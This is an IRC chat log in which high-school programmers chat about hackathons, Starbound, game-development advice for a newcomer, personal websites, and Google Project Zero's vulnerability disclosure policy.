[2015-02-01T11:50:35-0500] <+Tamini> they look good.
[2015-02-01T11:50:42-0500] <+Tamini> or better, I look good in them ;)
[2015-02-01T11:53:23-0500] <+JacobEdelman> Tamini: wait, I forget, you're coming to hackbca, right
[2015-02-01T11:53:25-0500] <+JacobEdelman> ?
[2015-02-01T11:53:53-0500] <+Tamini> um
[2015-02-01T11:53:57-0500] <+Tamini> when is that again
[2015-02-01T11:54:02-0500] <+Tamini> and probably not but mabe
[2015-02-01T11:59:41-0500] <+JacobEdelman> march 28th to marth 29th
[2015-02-01T11:59:41-0500] <+JacobEdelman> http://www.hackbca.com/
[2015-02-01T12:00:13-0500] <+JacobEdelman> ps. pclassic is march 21st
[2015-02-01T12:00:35-0500] <+Tamini> then prob not?
[2015-02-01T12:00:40-0500] <+Tamini> idk
[2015-02-01T12:00:40-0500] <+JacobEdelman> ahhh
[2015-02-01T12:00:43-0500] <+JacobEdelman> come on
[2015-02-01T12:00:47-0500] <+JacobEdelman> I wanna beat you at something
[2015-02-01T12:00:58-0500] <+Tamini> should've come to pilot
[2015-02-01T12:00:58-0500] <+Tamini> oh wait
[2015-02-01T12:01:03-0500] <+Tamini> we won, so you couldn't have anyway :P
[2015-02-01T12:01:33-0500] <+JacobEdelman> I would have :P
[2015-02-01T12:02:06-0500] <+Tamini> psh
[2015-02-01T12:02:18-0500] <+Tamini> my goal is to never have jacob beat me in anything
[2015-02-01T12:02:24-0500] <+Tamini> in the entirety of my high school career
[2015-02-01T12:02:24-0500] <+Tamini> :D
[2015-02-01T12:04:03-0500] <+hardmath123> and then the moment you get to college he wins the nobel prize
[2015-02-01T12:04:09-0500] <+hardmath123> for literature
[2015-02-01T12:04:43-0500] <+Tamini> LOL
[2015-02-01T12:04:51-0500] <+Tamini> then ill congratulate him
[2015-02-01T12:04:59-0500] <+Tamini> because i no longer have to be better than him at everything
[2015-02-01T12:07:04-0500] <+Tamini> also @tell awe whenever you're on i have 2-3 things to talk to you about
[2015-02-01T12:07:15-0500] <+Tamini> um
[2015-02-01T12:07:18-0500] <+Tamini> pretend that didnt happen
[2015-02-01T12:07:20-0500] <+Tamini> @tell awe whenever you're on i have 2-3 things to talk to you about
[2015-02-01T12:07:20-0500] <awebot> Tamini: I'll let them know!
[2015-02-01T12:09:49-0500] <alokpathy> JacobEdelman: Wait didn't you say you might have a potential conflict with PClassic?
[2015-02-01T12:13:24-0500] <+Tamini> kill the conflict
[2015-02-01T12:13:27-0500] <+Tamini> im more important
[2015-02-01T12:13:27-0500] <+Tamini> i mean
[2015-02-01T12:13:31-0500] <+Tamini> pclassic is more important :P
[2015-02-01T12:14:23-0500] <ubuntor> Coast: oh hey
[2015-02-01T12:14:27-0500] <alokpathy> It was with his aunt's birthday or something :P
[2015-02-01T12:14:31-0500] <alokpathy> Coast: Welcome to pdgn :D
[2015-02-01T12:15:33-0500] <+JacobEdelman> alokpathy: I don't, (i would have had a conflict if it was the same date as last year)
[2015-02-01T12:15:42-0500] <+JacobEdelman> (my grandmas 75th birthday)
[2015-02-01T12:16:11-0500] <+JacobEdelman> also, PA: Coast is an hs student I stole from #xkcd, he likes physics
[2015-02-01T12:17:24-0500] <alokpathy> Coast: woo
[2015-02-01T12:18:57-0500] <ubuntor> yay physics
[2015-02-01T12:22:09-0500] <+Tamini> alokpathy: do you have school monday?
[2015-02-01T12:23:22-0500] <alokpathy> Tamini: Not sure
[2015-02-01T12:23:35-0500] <+Tamini> wat
[2015-02-01T12:23:38-0500] <+Tamini> how are you not sure
[2015-02-01T12:24:21-0500] <+JacobEdelman> possible snow day
[2015-02-01T12:24:22-0500] <alokpathy> I mean, at the moment we're scheduled to have school
[2015-02-01T12:24:28-0500] <alokpathy> but, yeah, possible snow day.
[2015-02-01T12:24:33-0500] <+Tamini> ohh
[2015-02-01T12:24:35-0500] <+Tamini> icic
[2015-02-01T12:24:37-0500] <+Tamini> lol
[2015-02-01T12:24:41-0500] <+Tamini> while driving to upenn
[2015-02-01T12:24:46-0500] <+Tamini> we had this like
[2015-02-01T12:24:50-0500] <+Tamini> 30 minute region with snow
[2015-02-01T12:24:55-0500] <+Tamini> then it abruptly stopped :P
[2015-02-01T12:25:21-0500] <+JacobEdelman> I mean, it looks like we may hav efreezing rain
[2015-02-01T12:25:26-0500] <+JacobEdelman> which is worse than snow
[2015-02-01T12:25:33-0500] <+JacobEdelman> so, possibly no school
[2015-02-01T12:25:43-0500] <alokpathy> Tamini: Lol at PennApps
[2015-02-01T12:25:52-0500] <alokpathy> we were walking from JacobEdelman's cousin's place back to Towne
[2015-02-01T12:25:58-0500] <alokpathy> but the road and sidewalk were like
[2015-02-01T12:26:03-0500] <alokpathy> super slippery. 
[2015-02-01T12:26:09-0500] <alokpathy> We literally had to waddle half the time.
[2015-02-01T12:27:50-0500] <+JacobEdelman> very difficult
[2015-02-01T12:27:53-0500] <+JacobEdelman> we almost died
[2015-02-01T12:27:59-0500] <+JacobEdelman> should have taken an uber
[2015-02-01T12:28:30-0500] <alokpathy> Our theory is the PennApps organizers wanted us to act like penguins
[2015-02-01T12:28:41-0500] <alokpathy> so they iced all of Philly in and near to campus.
[2015-02-01T12:28:58-0500] <alokpathy> We haven't had any objections to that, so I guess it's right.
[2015-02-01T12:32:21-0500] <+Tamini> lolol
[2015-02-01T12:32:32-0500] <+Tamini> we named the pennapps penguin pendleton
[2015-02-01T12:33:00-0500] <alokpathy> But it already has a name :(
[2015-02-01T12:33:02-0500] <+Tamini> pendleton the rubber duckable penguin
[2015-02-01T12:33:03-0500] <alokpathy> Pennjamin Franklin.
[2015-02-01T12:33:05-0500] <+Tamini> pendleton is better
[2015-02-01T12:33:11-0500] <+Tamini> pennjamin is just stupid
[2015-02-01T12:33:11-0500] <alokpathy> Wow okay
[2015-02-01T12:33:17-0500] <alokpathy> Wat no it's an amazing pun.
[2015-02-01T12:33:24-0500] <+Tamini> its a stupid name htoughh
[2015-02-01T12:33:28-0500] <alokpathy> Noooo
[2015-02-01T12:33:30-0500] <alokpathy> it's great
[2015-02-01T12:33:31-0500] <alokpathy> :D
[2015-02-01T12:35:58-0500] <@awe> I am back.
[2015-02-01T12:35:58-0500] <awebot> awe: 28 minutes ago, Tamini said whenever you're on i have 2-3 things to talk to you about.
[2015-02-01T12:36:02-0500] <@awe> Hi Tamini_
[2015-02-01T12:36:03-0500] <@awe> erm
[2015-02-01T12:36:05-0500] <@awe> Tamini: 
[2015-02-01T12:36:20-0500] <+Tamini> hi awe!
[2015-02-01T12:36:22-0500] <+Tamini> anyway
[2015-02-01T12:36:34-0500] <+Tamini> one of my super cool pilot teammates
[2015-02-01T12:36:36-0500] <+Tamini> is a lot like you
[2015-02-01T12:36:59-0500] <alokpathy> What if he secretly is him?
[2015-02-01T12:37:02-0500] <alokpathy> le gaspeh
[2015-02-01T12:37:05-0500] <+Tamini> starbound, anarch-communism, etc
[2015-02-01T12:37:13-0500] <+Tamini> he also has nice hair
[2015-02-01T12:37:31-0500] <+JacobEdelman> (awe isn't actually anarch-communism, he is marginally more moderate)
[2015-02-01T12:37:36-0500] <+Tamini> can he come on here and play starbound with you guys (potentially us)?
[2015-02-01T12:37:43-0500] <@awe> JacobEdelman: I am?
[2015-02-01T12:37:48-0500] <@awe> Tamini: yah
[2015-02-01T12:37:50-0500] <+JacobEdelman> awe: yes, you are
[2015-02-01T12:37:56-0500] <+Tamini> awesome
[2015-02-01T12:38:01-0500] <@awe> You don't need to ask my permission to invite people here.
[2015-02-01T12:38:02-0500] <+Tamini> be nice to him when he's on, okie?
[2015-02-01T12:38:03-0500] <+Tamini> <3
[2015-02-01T12:38:04-0500] <+Tamini> well i mean
[2015-02-01T12:38:13-0500] <+JacobEdelman> awe: you believe in a gov.  (hence andrew zwicker or whatever)
[2015-02-01T12:38:16-0500] <+Tamini> it's your channel so I just want to let you know if nothing else
[2015-02-01T12:38:23-0500] <+Tamini> aaaaaaaaalso
[2015-02-01T12:38:30-0500] <+Tamini> I won pilot -> $25 visa gift card
[2015-02-01T12:38:30-0500] <@awe> Tamini: it's our channel, not mine.
[2015-02-01T12:38:36-0500] <@awe> JacobEdelman: No, I don't.
[2015-02-01T12:38:40-0500] <+Tamini> I was thinking starbound, any better ideas?
[2015-02-01T12:38:45-0500] <@awe> Starbound is a good idea.
[2015-02-01T12:38:46-0500] <+Tamini> and awe: well, fine.
[2015-02-01T12:38:52-0500] <+JacobEdelman> awe: I gots a new person, he is Coast, he likes physics and comes from #xkcd
[2015-02-01T12:38:55-0500] <@awe> I saw.
[2015-02-01T12:38:56-0500] <+Tamini> letting people know i'm inviting someone
[2015-02-01T12:39:00-0500] <+Tamini> :P
[2015-02-01T12:39:02-0500] <Coast> hello
[2015-02-01T12:39:06-0500] <+Tamini> hello, Coast :D
[2015-02-01T12:39:16-0500] <+JacobEdelman> (he's in hs)
[2015-02-01T12:39:26-0500] <+Tamini> want to help me figure out how to spend $25?
[2015-02-01T12:39:45-0500] <@awe> Coast: I got into gamedev (and that's primarily how I got into programming) by running private servers for games.
[2015-02-01T12:39:45-0500] <Coast> I'd play starbound,, I just don't own the game
[2015-02-01T12:40:04-0500] <Coast> I see
[2015-02-01T12:40:09-0500] <@awe> Coast: It started off with me making small changes to existing emulators, and then eventually turned into me trying to write a bunch of my own emulators.
[2015-02-01T12:40:38-0500] <+JacobEdelman> COast: i don't own the game, awe gave me a copy (so I can't play on legit servers I think, but besides that its fine)
[2015-02-01T12:40:48-0500] <@awe> That copy is dated.
[2015-02-01T12:40:53-0500] <+Tamini> who owns legit copies?
[2015-02-01T12:40:54-0500] <@awe> You can play on legitimate servers, JacobEdelman.
[2015-02-01T12:40:58-0500] <+Tamini> other than awe
[2015-02-01T12:41:03-0500] <+JacobEdelman> awe: does the copy update?
[2015-02-01T12:41:05-0500] <@awe> No.
[2015-02-01T12:41:11-0500] <+JacobEdelman> awe: can haz new copy?
[2015-02-01T12:41:14-0500] <@awe> The dropbox link I gave you is updated.
[2015-02-01T12:41:18-0500] <@awe> But it only has Windows binaries.
[2015-02-01T12:41:21-0500] <+JacobEdelman> .... 
[2015-02-01T12:41:24-0500] <@awe> So, I'll have to upload some linux binaries separately.
[2015-02-01T12:41:28-0500] <+JacobEdelman> I can wait
[2015-02-01T12:41:38-0500] <Coast> man
[2015-02-01T12:41:40-0500] <@awe> Well, I'd recommend downloading that one for the art assets anyway.
[2015-02-01T12:41:44-0500] <@awe> That way I don't have to reupload the assets.
[2015-02-01T12:41:59-0500] <+Tamini> hmm
[2015-02-01T12:42:12-0500] <+Tamini> does ezra have a legit copy?
[2015-02-01T12:42:14-0500] <@awe> Yes.
[2015-02-01T12:42:29-0500] <Coast> I want to make my own game
[2015-02-01T12:42:34-0500] <+Tamini> so it'd be me, you, kyle, ezra i guess then
[2015-02-01T12:42:40-0500] <+Tamini> hmm
[2015-02-01T12:42:41-0500] <Coast> and it would be somethig you'd play with friends
[2015-02-01T12:42:57-0500] <Coast> I just don't have like...I don't know the steps required to do that
[2015-02-01T12:43:01-0500] <@awe> Coast: you can learn OpenGL.
[2015-02-01T12:43:06-0500] <+Tamini> so no better ideas than starbound?
[2015-02-01T12:43:14-0500] <@awe> That would be a reasonable first step if you want to have a low-level understanding of making games.
[2015-02-01T12:43:15-0500] <+Tamini> and Coast: you learn a lot by purely starting a project
[2015-02-01T12:43:29-0500] <Coast> what project would that be
[2015-02-01T12:43:40-0500] <@awe> I'd recommend just trying to make the game you want.
[2015-02-01T12:43:47-0500] <@awe> It's fine if it's bad and fails,
[2015-02-01T12:43:58-0500] <Coast> I see
[2015-02-01T12:44:10-0500] <@awe> I have a friend who has written like six MapleStory clients of varying qualities over the years.
[2015-02-01T12:44:24-0500] <Coast> Yeah that sounds good
[2015-02-01T12:44:29-0500] <+Tamini> awe, bb
[2015-02-01T12:44:33-0500] <@awe> He never finished any of them, but he went from being terrible and writing the first one in GameMaker to being the best systems programmers I know.
[2015-02-01T12:44:35-0500] <@awe> Tamini: ?
[2015-02-01T12:44:35-0500] <Coast> I don't know what I need to know to make ym game tho
[2015-02-01T12:44:52-0500] <+Tamini> i plan to use it next year
[2015-02-01T12:44:55-0500] <@awe> Coast: One potential avenue would be to start with something high-level that's designed to make games easy.
[2015-02-01T12:45:05-0500] <+Tamini> traditionally appaarently seniors get back into maplestory :D
[2015-02-01T12:45:08-0500] <+Tamini> ^
[2015-02-01T12:45:29-0500] <@awe> Coast: So, you could use python and pygame and try to make a game like that.
[2015-02-01T12:45:52-0500] <@awe> Coast: Or you could go even higher-level and use a full-fledged game engine like Unity.
[2015-02-01T12:46:16-0500] <@awe> Coast: Unity is really easy to work with, and you pretty much just write game logic rather than rendering (which is substantially easier most of the time).
[2015-02-01T12:47:07-0500] <@awe> Coast: or you could try to pick up a systems language like C++ or Rust (I'd highly recommend the latter) and use OpenGL and try to write your own rendering code.
[2015-02-01T12:47:21-0500] <@awe> That last option would be very hard.
[2015-02-01T12:47:25-0500] <@awe> And very grating. 
[2015-02-01T12:47:34-0500] <+Tamini> I would recommend against telling him
[2015-02-01T12:47:42-0500] <+Tamini> "learn Rust then learn to write rendering code"
[2015-02-01T12:47:54-0500] <+Tamini> that's going to end up turning him off entirely
[2015-02-01T12:48:15-0500] <@awe> Well, it may be very hard, but it's also got a ton of learning potential.
[2015-02-01T12:48:27-0500] <+JacobEdelman> awe: this is his first programming project ever
[2015-02-01T12:48:29-0500] <@awe> Honestly, the first programming language I picked up was C++.
[2015-02-01T12:48:37-0500] <+JacobEdelman> awe: you are weird
[2015-02-01T12:48:38-0500] <+JacobEdelman> :P
[2015-02-01T12:48:42-0500] <+JacobEdelman> (so am I though)
[2015-02-01T12:48:47-0500] <@awe> It took one project before I tried to make a game.
[2015-02-01T12:49:10-0500] <@awe> I made an RSA calculator (that only worked on 32-bit numbers and therefore was useless).
[2015-02-01T12:49:18-0500] <@awe> Then, I made a text-based RPG.
[2015-02-01T12:49:31-0500] <@awe> And then I made some other stuff using MySQL and whatever and then eventually made two more text-based RPGs.
[2015-02-01T12:49:45-0500] <@awe> And then I learned about SFML and I tried to make some sort of 2D overworld game.
[2015-02-01T12:49:48-0500] <@awe> I used Pokemon sprites.
[2015-02-01T12:50:12-0500] <+JacobEdelman> ... wiat, wasn't your first programming language power point :P
[2015-02-01T12:50:15-0500] <+JacobEdelman> and than excel ?
[2015-02-01T12:50:20-0500] <+JacobEdelman> and than bash or whatever?
[2015-02-01T12:50:27-0500] <@awe> Well, sort of.
[2015-02-01T12:51:00-0500] <@awe> Technically, I started doing VB in Excel.
[2015-02-01T12:51:15-0500] <@awe> And I tried making a text-based RPG there.
[2015-02-01T12:51:21-0500] <@awe> Bash isn't programming.
[2015-02-01T12:53:14-0500] <nezorg> [09:49] (+Tamini) 12:38:30> I won pilot -> $25 visa gift card
[2015-02-01T12:53:18-0500] <nezorg> wat
[2015-02-01T12:53:36-0500] <+Tamini> they gave prizes!
[2015-02-01T12:54:09-0500] <nezorg> but... that seems like a rather small prize
[2015-02-01T12:54:30-0500] <ubuntor> eh, it's pilot
[2015-02-01T12:54:43-0500] <+Tamini> oh
[2015-02-01T12:54:47-0500] <+Tamini> well pilot is super small
[2015-02-01T12:54:57-0500] <nezorg> well alright
[2015-02-01T12:55:01-0500] <+Tamini> thats why we got to pull lots of shenanigans and have lots of fun instead of working 
[2015-02-01T12:55:04-0500] <+Tamini> for lots of the time 
[2015-02-01T12:55:04-0500] <+Tamini> lol
[2015-02-01T12:55:09-0500] <nezorg> i wonder what the sbhacks prizes are
[2015-02-01T12:55:15-0500] <+Tamini> oh one of my friends made a really cute game
[2015-02-01T12:55:37-0500] <+Tamini> because they spent the first 2 hours torrenting movies
[2015-02-01T12:55:53-0500] <ubuntor> wat
[2015-02-01T12:55:56-0500] <+Tamini> so they wrote an algorithm for
[2015-02-01T12:56:06-0500] <+Tamini> finding the starting points for all the songs in movies
[2015-02-01T12:56:19-0500] <+Tamini> and they played songs for you
[2015-02-01T12:56:24-0500] <+Tamini> so you had to guess the movie it was from
[2015-02-01T12:56:49-0500] <+Tamini> and they captured every 30 seconds of the movie
[2015-02-01T12:56:59-0500] <+Tamini> and it was "guess where in the movie the song was from"
[2015-02-01T12:57:02-0500] <+Tamini> it was really cute
[2015-02-01T12:57:55-0500] <nezorg> http://www.ucsbhacks.com/prizes lol i wonder who the sponsors are
[2015-02-01T12:59:01-0500] <+Tamini> lol
[2015-02-01T12:59:34-0500] <+Tamini> nezorg: we were joking about oculus compatibility for our app ;)
[2015-02-01T12:59:37-0500] <+Tamini> also, seriously
[2015-02-01T12:59:42-0500] <+Tamini> no better ideas than starbound?
[2015-02-01T12:59:49-0500] <LittleBobbyTables> dota 2
[2015-02-01T13:00:45-0500] <+Tamini> no
[2015-02-01T13:00:51-0500] <+Tamini> executive veto.
[2015-02-01T13:00:52-0500] <nezorg> rick astley simulator 2015
[2015-02-01T13:01:46-0500] <+Tamini> ;P
[2015-02-01T13:01:56-0500] <jwoglom> Goat simulator?
[2015-02-01T13:02:14-0500] <+Tamini> starbound it is
[2015-02-01T13:02:15-0500] <+Tamini> :P
[2015-02-01T13:02:22-0500] <@awe> nezorg: is that a thing?
[2015-02-01T13:02:41-0500] <nezorg> i wish
[2015-02-01T13:03:05-0500] <jwoglom> You should start a kick starter or indiegogo or something
[2015-02-01T13:03:16-0500] <jwoglom> Sounds like the internet would love something like that :P
[2015-02-01T13:03:42-0500] <+Tamini> with oculus compatibility
[2015-02-01T13:06:00-0500] <+Tamini> um
[2015-02-01T13:06:09-0500] <+Tamini> im on a bouncer, anyone wanna give me network info for pdgn?
[2015-02-01T13:06:36-0500] <@awe> ircs://irc.pdgn.co:6697
[2015-02-01T13:07:23-0500] <jwoglom> With SSL, yeah
[2015-02-01T13:07:30-0500] <@awe> hence ircs.
[2015-02-01T13:07:42-0500] <+Tamini> thank
[2015-02-01T13:08:11-0500] <+Tamini> he;s gone rn but we;ll get him later
[2015-02-01T13:12:28-0500] <+Tamini> time to spend the day playing starbound <3
[2015-02-01T13:12:36-0500] <@awe> So, things I have to do today. 1) Systems HW, 2) Probability quiz, 3) redo website as a static site with hakyll (open question: should I redesign it, too?)
[2015-02-01T13:12:50-0500] <@awe> and then if I get all three things done, I can start the whole second-server thing.
[2015-02-01T13:15:28-0500] <+Tamini> ooh
[2015-02-01T13:15:29-0500] <+Tamini> gogogo :D
[2015-02-01T13:15:32-0500] <+Tamini> i believe in you!
[2015-02-01T13:15:55-0500] <@awe> The wayback machine is really weird. For some reason, it uses the last CSS I had on my site for versions of the site that precluded that CSS.
[2015-02-01T13:17:30-0500] <@awe> The 2010 site did *not* wayback machine well.
[2015-02-01T13:17:35-0500] <@awe> (You can't visit any of the other pages0
[2015-02-01T13:17:43-0500] <@awe> BUT the 2011 site did.
[2015-02-01T13:17:44-0500] <jwoglom> awe: well, if the css file had the same url it probably didn't cache it the first time around
[2015-02-01T13:17:47-0500] <jwoglom> so it used what it had in its index
[2015-02-01T13:17:50-0500] <+Tamini> is that the year with the poems?
[2015-02-01T13:17:55-0500] <@awe> jwoglom: probably.
[2015-02-01T13:17:56-0500] <@awe> https://web.archive.org/web/20131221131744/http://deviant-core.net/img/ether.png
[2015-02-01T13:18:04-0500] <@awe> ^ Pokemon sprites
[2015-02-01T13:19:16-0500] <@awe> Tamini: and no, this precludes that.
[2015-02-01T13:21:43-0500] <+Tamini> ah
[2015-02-01T13:24:11-0500] <@awe> https://web.archive.org/web/20140213205430/http://www.deviant-core.net/site/home
[2015-02-01T13:24:12-0500] <@awe> See.
[2015-02-01T13:24:36-0500] <+Tamini> damn, this makes me miss hsctf
[2015-02-01T13:24:37-0500] <@awe> And this is it today: http://deviant-core.net
[2015-02-01T13:24:43-0500] <+Tamini> oh, i remember this
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[2015-02-01T13:34:18-0500] <@awe> Tamini: but yeah, I can probably do the first two really easily.
[2015-02-01T13:34:23-0500] <@awe> Tamini: I'm already mostly done with the systems hw.
[2015-02-01T13:34:23-0500] <+Tamini> hehe
[2015-02-01T13:34:24-0500] <+Tamini> then gogogo
[2015-02-01T13:34:29-0500] <+Tamini> im downloading starbound rn
[2015-02-01T13:34:37-0500] <@awe> Tamini: the site is going to be a larger investment.
[2015-02-01T13:35:08-0500] <nezorg> my site is built on hakyll
[2015-02-01T13:35:17-0500] <+Tamini> lol
[2015-02-01T13:35:23-0500] <+Tamini> why is nothing on your site D:
[2015-02-01T13:35:28-0500] <+Tamini> andrew's site has more content than yours
[2015-02-01T13:35:33-0500] <nezorg> i don't have anything to put there
[2015-02-01T13:36:45-0500] <@awe> lol
[2015-02-01T13:36:49-0500] <@awe> nezorg: why not?
[2015-02-01T13:36:59-0500] <+Tamini> put writeups there
[2015-02-01T13:37:10-0500] <+Tamini>  write poetry
[2015-02-01T13:37:10-0500] <+Tamini> :D
[2015-02-01T13:37:11-0500] <nezorg> meh
[2015-02-01T13:37:12-0500] <nezorg> maybe
[2015-02-01T13:37:15-0500] <@awe> nezorg: put up code
[2015-02-01T13:37:19-0500] <@awe> nezorg: just random code with no context
[2015-02-01T13:37:29-0500] <nezorg> i dont have any interesting code though
[2015-02-01T13:37:58-0500] <+Tamini> or blog like hardmath123 
[2015-02-01T13:38:15-0500] <ubuntor> put up a challenge
[2015-02-01T13:38:33-0500] <nezorg> what's hardmath123's site?
[2015-02-01T13:38:59-0500] <ubuntor> http://hardmath123.github.io/
[2015-02-01T13:39:40-0500] <nezorg> I've tried blogging
[2015-02-01T13:39:55-0500] <nezorg> don't really have the motivation to finish a post though
[2015-02-01T13:40:23-0500] <+Tamini> lolol
[2015-02-01T13:40:24-0500] <+hardmath123> nezorg: the secret is to maintain a directory of drafts and post the one with the highest word count every month.
[2015-02-01T13:40:28-0500] <+Tamini> write super short stuff
[2015-02-01T13:40:29-0500] <+Tamini> and LOL
[2015-02-01T13:40:32-0500] <+Tamini> or be like that ;)
[2015-02-01T13:40:36-0500] <+hardmath123> which reminds me
[2015-02-01T13:40:43-0500] <+hardmath123> feb 1 => i should post something
[2015-02-01T13:40:53-0500] <+hardmath123> brb vimming
[2015-02-01T13:41:18-0500] <nezorg> i don't really have time today
[2015-02-01T13:41:27-0500] <nezorg> maybe I'll write about Tokyo in a week
[2015-02-01T13:41:30-0500] <+Tamini> heh, link me after you're done <3
[2015-02-01T13:41:31-0500] <+Tamini> and yay!
[2015-02-01T13:41:39-0500] <+Tamini> im pretty sad you have no writeups though
[2015-02-01T13:41:43-0500] <+Tamini> i kinda want to read yours
[2015-02-01T13:42:05-0500] <nezorg> well i have my three required pico ones in gists
[2015-02-01T13:42:24-0500] <nezorg> ... which reminds me, is that cmu trip ever going to happen?
[2015-02-01T13:42:28-0500] <nezorg> or the price money
[2015-02-01T13:42:31-0500] <nezorg> or the shirts
[2015-02-01T13:42:34-0500] <nezorg> *prize
[2015-02-01T13:43:14-0500] <+Tamini> LOL
[2015-02-01T13:43:16-0500] <+Tamini> i dont knoww
[2015-02-01T13:43:20-0500] <+Tamini> i feel like
[2015-02-01T13:43:29-0500] <nezorg> https://gist.github.com/jmgrosen/ff2456d37145c91df6c0
[2015-02-01T13:43:30-0500] <+Tamini> we need to all go harrass cmu people to make it happen
[2015-02-01T13:43:41-0500] <nezorg> yeah
[2015-02-01T13:43:52-0500] <nezorg> https://gist.github.com/jmgrosen/91ef03542538c0e9f617
[2015-02-01T13:44:01-0500] <+Tamini> if it doesnt happen, I won't see you for
[2015-02-01T13:44:03-0500] <+Tamini> at least a year
[2015-02-01T13:44:07-0500] <+Tamini> and lol, oh i remember these
[2015-02-01T13:44:18-0500] <nezorg> ah
[2015-02-01T13:44:25-0500] <nezorg> well, last one: https://gist.github.com/jmgrosen/af528a6b519ba522a1b9
[2015-02-01T13:44:27-0500] <+Tamini> also OH THE SELF MODIFYING VM CODE LOL
[2015-02-01T14:14:32-0500] <+hardmath123> http://support.apple.com/en-us/HT204244
[2015-02-01T14:14:37-0500] <+hardmath123> kind of terrifying
[2015-02-01T14:19:16-0500] <+JacobEdelman> wait
[2015-02-01T14:19:18-0500] <+JacobEdelman> so basicly
[2015-02-01T14:19:31-0500] <+JacobEdelman> yosemite was broken
[2015-02-01T14:19:36-0500] <+JacobEdelman> and was not secure
[2015-02-01T14:19:38-0500] <+JacobEdelman> in any way
[2015-02-01T14:19:39-0500] <+JacobEdelman> right?
[2015-02-01T14:20:13-0500] <+JacobEdelman> wait, is that the shell-shock update?
[2015-02-01T14:21:07-0500] <ubuntor> huh, it is
[2015-02-01T14:21:12-0500] <ubuntor> the one caused by an incomplete fix
[2015-02-01T14:21:17-0500] <+JacobEdelman> ... and it came out
[2015-02-01T14:21:20-0500] <+JacobEdelman> today?
[2015-02-01T14:21:31-0500] <+hardmath123> yeah.
[2015-02-01T14:21:35-0500] <+JacobEdelman> ...
[2015-02-01T14:21:36-0500] <+JacobEdelman> .....
[2015-02-01T14:21:38-0500] <+JacobEdelman> .......
[2015-02-01T14:21:39-0500] <+hardmath123> i thought it was the glibc thing
[2015-02-01T14:21:41-0500] <+hardmath123> but it isn't
[2015-02-01T14:22:18-0500] <+JacobEdelman> okay, can someone tell me
[2015-02-01T14:22:25-0500] <+JacobEdelman> if having this many critical security fixes
[2015-02-01T14:22:26-0500] <+JacobEdelman> at once
[2015-02-01T14:22:28-0500] <+JacobEdelman> is normal?
[2015-02-01T14:22:30-0500] <+JacobEdelman> cause it seems
[2015-02-01T14:22:37-0500] <+JacobEdelman> like yosemite was broken to me
[2015-02-01T14:22:49-0500] <@awe> JacobEdelman: what are you saying?
[2015-02-01T14:23:20-0500] <+JacobEdelman> I'm saying
[2015-02-01T14:23:26-0500] <+JacobEdelman> that so many huge problems at once
[2015-02-01T14:23:29-0500] <+JacobEdelman> seems abnormally bad
[2015-02-01T14:23:34-0500] <+JacobEdelman> also, Ian Beer  ftw
[2015-02-01T14:23:47-0500] <+JacobEdelman> (his name is on like 1/3rd of the vulnerabilities
[2015-02-01T14:23:48-0500] <+JacobEdelman> )
[2015-02-01T14:24:01-0500] <@awe> No, it's not abnormally bad.
[2015-02-01T14:24:14-0500] <+JacobEdelman> really?
[2015-02-01T14:24:23-0500] <+JacobEdelman> can somebody less opinianted than awe give input?
[2015-02-01T14:24:38-0500] <@awe> Have you been reading the news?
[2015-02-01T14:24:48-0500] <+hardmath123> http://www.eweek.com/security/google-project-zero-strengthens-apple-os-x-ios.html
[2015-02-01T14:24:51-0500] <@awe> Microsoft released a bunch of day-zero exploits on Google.
[2015-02-01T14:25:00-0500] <@awe> Google released a bunch of day-zero exploits on Microsoft.
[2015-02-01T14:25:07-0500] <@awe> Google released a bunch of day-zero exploits on Apple.
[2015-02-01T14:25:34-0500] <@awe> Most of these security issues aren't critical.
[2015-02-01T14:25:37-0500] <+JacobEdelman> oh yeah, I knew that
[2015-02-01T14:25:43-0500] <+JacobEdelman> cause google is awesome
[2015-02-01T14:25:55-0500] <@awe> It's not because Google is awesome.
[2015-02-01T14:26:05-0500] <@awe> It's because Google is trying to fuck their competitors.
[2015-02-01T14:26:13-0500] <jwoglom> the annoying thing about the Project Zero stuff is that news outlets always make it seem like Google just released the issues out of nowhere
[2015-02-01T14:26:30-0500] <jwoglom> they've given 60-90 day notice in all of the cases, yet they're shown as the bad guy still
[2015-02-01T14:26:32-0500] <@awe> Well, yeah, they have the whole 90-day thing.
[2015-02-01T14:26:42-0500] <@awe> It's because they release it immediately after the notice.
[2015-02-01T14:26:53-0500] <@awe> Which suggests that they want them to be screwed over by it.
[2015-02-01T14:26:58-0500] <+JacobEdelman> wait, I like what google is doing
[2015-02-01T14:27:06-0500] <+JacobEdelman> 90 days is enough
[2015-02-01T14:27:16-0500] <+JacobEdelman> and it encourages security with a market incentive
[2015-02-01T14:27:18-0500] <jwoglom> well, they gave them notice..
[2015-02-01T14:27:21-0500] <@awe> It's not enough for companies like this.
[2015-02-01T14:27:27-0500] <jwoglom> they have had plenty of time to correct the issues
[2015-02-01T14:27:27-0500] <+JacobEdelman> thats apples fault
[2015-02-01T14:27:30-0500] <@awe> These companies move much slower than 90 days.
[2015-02-01T14:27:34-0500] <@awe> No, it's capitalism's fault.
[2015-02-01T14:27:36-0500] <+JacobEdelman> than they gotta fix that
[2015-02-01T14:27:38-0500] <jwoglom> then they should speed up, dammit!
[2015-02-01T14:27:40-0500] <@awe> They can't.
[2015-02-01T14:27:47-0500] <+JacobEdelman> come on!
[2015-02-01T14:27:51-0500] <Hyper> no i'm pretty sure it's not capitalism's fault
[2015-02-01T14:27:53-0500] <@awe> Big companies cannot be responsive like that.
[2015-02-01T14:27:57-0500] <Hyper> I'm pretty sure they can
[2015-02-01T14:28:02-0500] <+JacobEdelman> have ian beers emails go directly too a team of software engineers
[2015-02-01T14:28:02-0500] <Hyper> :)
[2015-02-01T14:28:09-0500] <@awe> ...
[2015-02-01T14:28:11-0500] <+JacobEdelman> if they get too many vulnerabilities
[2015-02-01T14:28:12-0500] <@awe> But they need approval to fix them.
[2015-02-01T14:28:14-0500] <+JacobEdelman> set up a second team
[2015-02-01T14:28:24-0500] <@awe> They need to do internal security audits of the fixes.
[2015-02-01T14:28:39-0500] <Hyper> if that takes longer than 90 days the company has a problem
[2015-02-01T14:28:40-0500] <+JacobEdelman> awe: okay? so, two teams? one for fixing and one for auditing
[2015-02-01T14:28:46-0500] <@awe> Companies like this don't work like that.
[2015-02-01T14:28:51-0500] <jwoglom> you can't possibly think that a company like MS or Apple
[2015-02-01T14:28:53-0500] <@awe> They send forty thousand emails back and forth.
[2015-02-01T14:28:53-0500] <jwoglom> with their billions
[2015-02-01T14:28:58-0500] <jwoglom> can't fix a security issue in 90 days
[2015-02-01T14:29:01-0500] <@awe> They micro-manage INSANELY.
